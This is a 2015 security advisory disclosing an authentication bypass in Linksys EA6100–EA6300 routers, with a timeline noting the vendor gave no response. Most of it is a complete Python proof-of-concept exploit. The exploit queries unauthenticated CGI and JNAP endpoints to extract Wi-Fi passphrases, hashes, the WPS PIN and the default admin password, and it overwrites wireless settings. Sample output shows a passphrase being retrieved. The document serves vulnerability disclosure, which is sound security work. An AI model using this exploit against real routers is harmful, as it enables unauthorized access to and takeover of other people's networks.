-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2015-006 : Linksys EA6100 Wireless Router Authentication Bypass Title: Linksys EA6100 Wireless Router Authentication Bypass Advisory ID: KL-001-2015-006 Publication Date: 2015.12.04 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2015-006.txt 1. Vulnerability Details Affected Vendor: Linksys Affected Product: EA6100 - EA6300 Wireless Router Affected Version: 1.1.5 Platform: Embedded Linux CWE Classification: CWE-288: Authentication Bypass Using an Alternate Path or Channel Impact: Remote Administration Attack vector: HTTP CVE-ID: <Not Yet Assigned> 2. Vulnerability Description Multiple CGI scripts in the web-based administrative interface of the Linksys EA6100 - EA6300 Wireless Router allow unauthenticated access to the high-level administrative functions of the device. This vulnerability can be leveraged by an unauthenticated attacker to obtain the router's administrative password and subsequently arbitrarily configure the device. 3. Technical Description root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# ls bin dev etc home JNAP lib libexec linuxrc mnt opt proc root sbin sys tmp usr var www root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test# cd www root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls bootloader_info.cgi dhcp_log.txt get_counter_info.cgi incoming_log.txt JNAP outgoing_log.txt security_log.txt sysinfo.cgi usbinfo.cgi cgi-bin ezwifi_cfg.cgi getstinfo.cgi jcgi license.pdf qos_info.cgi speedtest_info.cgi ui root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# ls -la sysinfo.cgi lrwxrwxrwx 1 root root 23 Jul 21 2014 sysinfo.cgi -> /www/ui/cgi/sysinfo.cgi root@wpad:/tmp/_FW_EA6100_1.1.5.162431_prod.img.extracted/test/www# cat ui/cgi/sysinfo.cgi #!/bin/sh ######################################################## # sysinfo.sh ----> /www/sysinfo.cgi # # When adding new debug information into this script file # do the following: # 1) create your debug script <your_debug_script.sh> # 2) call your debug script in this sysinfo.sh script # using the format: # if [ -f <your debug script> ]; then # ./<your debug script.cgi> # fi ######################################################## ... ... Other CGI files that are accessible from an unauthenticated perspective can be used to configure settings for the affected device. This led to the development of an exploit to abuse these vulnerabilities. level:Debug level$ ./linksys-ea6100-auth-bypass -h Usage: ./linksys-ea6100-auth-bypass [params] -h Help Menu -i Target Address -r Reset Attack -g Get System Info -p Get Wifi Password Example: ./linksys-ea6100-auth-bypass -i 10.10.10.1 -r Brought to you by Level at KoreLogic level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -p Getting wireless passphrase SSID=840146d6919<redacted> Passphrase=e0fc253e585bf33d7b<redacted> level:Debug level$ ./linksys-ea6100-auth-bypass -i 172.17.100.200 -g|more Brought to you by Level at KoreLogic Getting system info page generated on Tue Jan 20 20:01:48 UTC 2015 UpTime: 20:01:48 up 3 days, 16:24, load average: 0.00, 0.04, 0.05 Firmware Version: 1.1.5.159694 Firmware Builddate: 2014-03-21 03:09 Product.type: production Linux: Linux version 2.6.36 (root@build-vm) (gcc version 4.2.3) #1 Thu Mar 20 19:40:45 PDT 2014 Board: focus ... ... 4. Mitigation and Remediation Recommendation No response from vendor; no remediation available. 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2015.09.10 - KoreLogic submits vulnerability details to security@linksys.com. 2015.10.05 - KoreLogic submits vulnerability details to security@linksys.com again. 2015.11.20 - KoreLogic requests CVE from MITRE. 2015.12.02 - KoreLogic requests CVE from MITRE. 2015.12.03 - KoreLogic requests CVE from MITRE. 2015.12.04 - KoreLogic requests CVE from MITRE. 2015.12.04 - Public disclosure. 7. Proof of Concept #!/usr/bin/env python3 ######################################################################## # # Copyright 2015 KoreLogic Inc., All Rights Reserved. # # This proof of concept, having been partly or wholly developed # and/or sponsored by KoreLogic, Inc., is hereby released under # the terms and conditions set forth in the Creative Commons # Attribution Share-Alike 4.0 (United States) License: # # http://creativecommons.org/licenses/by-sa/4.0/ # ####################################################################### from optparse import OptionParser from urllib.request import urlopen, Request from base64 import b64encode from json import loads from sys import exit def reset_ap(host, passphrase): """Resets the wireless security settings of the access point.""" try: payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_5GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic"}}}]}}]' headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))} request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers) fd = urlopen(request) data5 = loads(fd.read())['result'] fd.close() except Exception as e: print("[!] Could not reset the 5ghz access point security, reason: {0}.".format(str(e))) return -1 try: payload = '[{"action":"http://linksys.com/jnap/wirelessap/SetRadioSettings", "request":{"radios":[{"radioID":"RADIO_2GHz", "settings":{"isEnabled":true, "mode":"802.11mixed", "ssid":"korelogic2", "broadcastSSID":true, "channelWidth":"Auto", "channel":0, "security":"WPA2-Personal", "wpaPersonalSettings":{"passphrase":"korelogic2"}}}]}}]' headers = {'X-JNAP-Action': 'http://linksys.com/jnap/core/Transaction', 'X-JNAP-Authorization': 'Basic {:s}'.format(str(b64encode(passphrase)))} request = Request("https://{:s}/JNAP/".format(str(host)), payload.encode('ascii'), headers) fd = urlopen(request) data2 = loads(fd.read())['result'] fd.close() except Exception as e: print("[!] Could not reset the 2.4ghz access point security, reason: {0}".format(str(e))) return -1 return data5, data2 def is_admin_default(host): """Determines whether or not the administrator passphrase is default.""" try: request = Request("https://{:s}/JNAP/".format(str(host)), "{}".encode('ascii'), {'X-JNAP-Action': 'http://linksys.com/jnap/core/IsAdminPasswordDefault'}) fd = urlopen(request) data = loads(fd.read().decode('utf-8'))['output']['isAdminPasswordDefault'] fd.close() except Exception as e: print("[!] Could not determine if administrator passphrase is default, reason: {0}".format(str(e))) return -1 return data def is_host_alive(host): """Does a basic HTTP test to determine access.""" try: fd = urlopen("https://{:s}/".format(str(host))) fd.close() except Exception as e: print("[!] Could not determine if target host was alive, reason: {:s}".format(str(e))) return False print("[+] Target host is alive, proceeding.") return True def run_payload(host, payload_url): """Run a provided HTTP request.""" try: target = "https://{:s}/{:s}".format(str(host), str(payload_url)) fd = urlopen(target) data = fd.read() fd.close() except Exception as e: print("[!] Unable to execute payload, reason: {0}".format(str(e))) return -1 return data.decode('utf-8') def main(): """Handle options provided and execute appropriate payloads.""" payload_url, o, a = None, None, None print("Brought to you by Level at KoreLogic\n") parser = OptionParser() parser.add_option("--host", dest="host", help="Target IP address") parser.add_option("--sysinfo", action="store_true", help="Get target system information") parser.add_option("--getpwhash", action="store_true", help="Get target wireless password hash") parser.add_option("--getclearpw", action="store_true", help="Get target wireless SSID and cleartext password") parser.add_option("--isdefault", action="store_true", help="Check if target is running the default admin credential (if yes, obtain passphrase)") parser.add_option("--resetwifi", action="store_true", help="Reset the access point security (requires default passphrase)") parser.add_option("--poisonwifi", action="store_true", help="Poison the access point security settings") parser.add_option("--getwpspin", action="store_true", help="Get the WPS pin for the target") o, a = parser.parse_args() if o.host is None: print("[!] You must specify a target host, please see --help") exit(1) else: if is_host_alive(o.host) is not True: print("[!] Could not establish connection to target") exit(1) else: if o.sysinfo is not None: print("[+] Obtaining system information -") payload_url = "sysinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): print(line) if o.getpwhash is not None: print("[+] Obtaining wireless password hash -") payload_url = "getstinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): print("\t{0}".format(str(line))) if o.getclearpw is not None: print("[+] Obtaining wireless ssid and password -") payload_url = "sysinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): if "wl0_ssid=" in line: print("\twl0 SSID: {0}".format(str(line.split("=")[1]))) if "wl1_ssid=" in line: print("\twl1 SSID: {0}".format(str(line.split("=")[1]))) if "wl0_passphrase=" in line: print("\twl0 Passphrase: {0}".format(str(line.split("=")[1]))) if "wl1_passphrase=" in line: print("\twl1 Passphrase: {0}".format(str(line.split("=")[1]))) if o.isdefault is not None: print("[+] Checking if administrator passphrase is default -") payload_url = "sysinfo.cgi" response = is_admin_default(o.host) if response is True: print("[+] Passphrase is default, asking for the password -") payload_url = "sysinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): if "device::default_passphrase=" in line: print("\tDefault passphrase: {0}".format(str(line.split("=")[1]))) else: print("[!] Passphrase is not default") if o.getwpspin is not None: print("[+] Getting WPS pin -") payload_url = "sysinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): if "device::wps_pin=" in line: print("\tWPS PIN: {0}".format(str(line.split("=")[1]))) if o.resetwifi is not None: print("[+] Resetting the access point security -") payload_url = "sysinfo.cgi" response = is_admin_default(o.host) if response is True: print("[+] Admin password is default, asking for the password") response = run_payload(o.host, payload_url) if response is not -1: for line in response.split("\n"): if "device::default_passphrase=" in line: passphrase = line.split("=")[1] print("[+] Got the passphrase: {0}".format(str(passphrase))) data5, data2 = reset_ap(o.host, passphrase) if data5 is 'OK' and data2 is 'OK': print("[+] AP will now restart with the SSID and passphrase: korelogic/korelogic and korelogic2/korelogic2") else: print("[!] Admin password is not default.") if o.poisonwifi is not None: print("[+] Poisoning wireless ssid configuration") payload_url = "ezwifi_cfg.cgi?CMD=configure&2ssid=korelogic&2passphrase=korelogic&2mode=11b&5ssid=korelogic2&5passphrase=korelogic2&5mode=11a" response = run_payload(o.host, payload_url) if response is not -1: payload_url = "sysinfo.cgi" response = run_payload(o.host, payload_url) if response is not -1: ap_poisoned = None for line in response.split("\n"): if "wl0_ssid=" in line or "wl1_ssid=" in line: if "korelogic" in line: print("[+] Access point ssid settings poisoned. An administrator will need to hit Apply anywhere in the UI") ap_poisoned = 1 if ap_poisoned is None: print("[!] Access point ssid settings could not be poisoned, consider running --getclearpw") if payload_url is None: print("[!] No attack has been specified, please see --help") exit(1) return exit(0) if __name__ == "__main__": main() The contents of this advisory are copyright(c) 2015 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBCAAGBQJWYg3YAAoJEE1lmiwOGYkM3PAH/ik5zQ3WCsVRp5XymMsMmPLX kKGtR2QUwHM4topsatPPq3b7GWFQN+BxzjVwKwoAk5bAGLQBsD6YEOPo2ERdwqan xb1epYmoIwv6iOPhZmV7d4alKCbQ7A3WKN9cV130q/XlAYtitWNXhSfH/vtu81zR ztB/5XNt7ABBeqBG7BLDkurk8I72ft8EC49gbDWeGq4cAcukmA3nRux4J6G63SXE ianlcJNxD5fwsZrmBZKFXJ6D492PkXWg41LmzMgXTTigC6ud/Cq1kMVfHR/YAoCM ArsqPOf+ED+jW/kyxYrixAq8arEcPg3TY2TtI4L0ya+u4ongtQHMTC8RZgRDfag= =D5HE -----END PGP SIGNATURE-----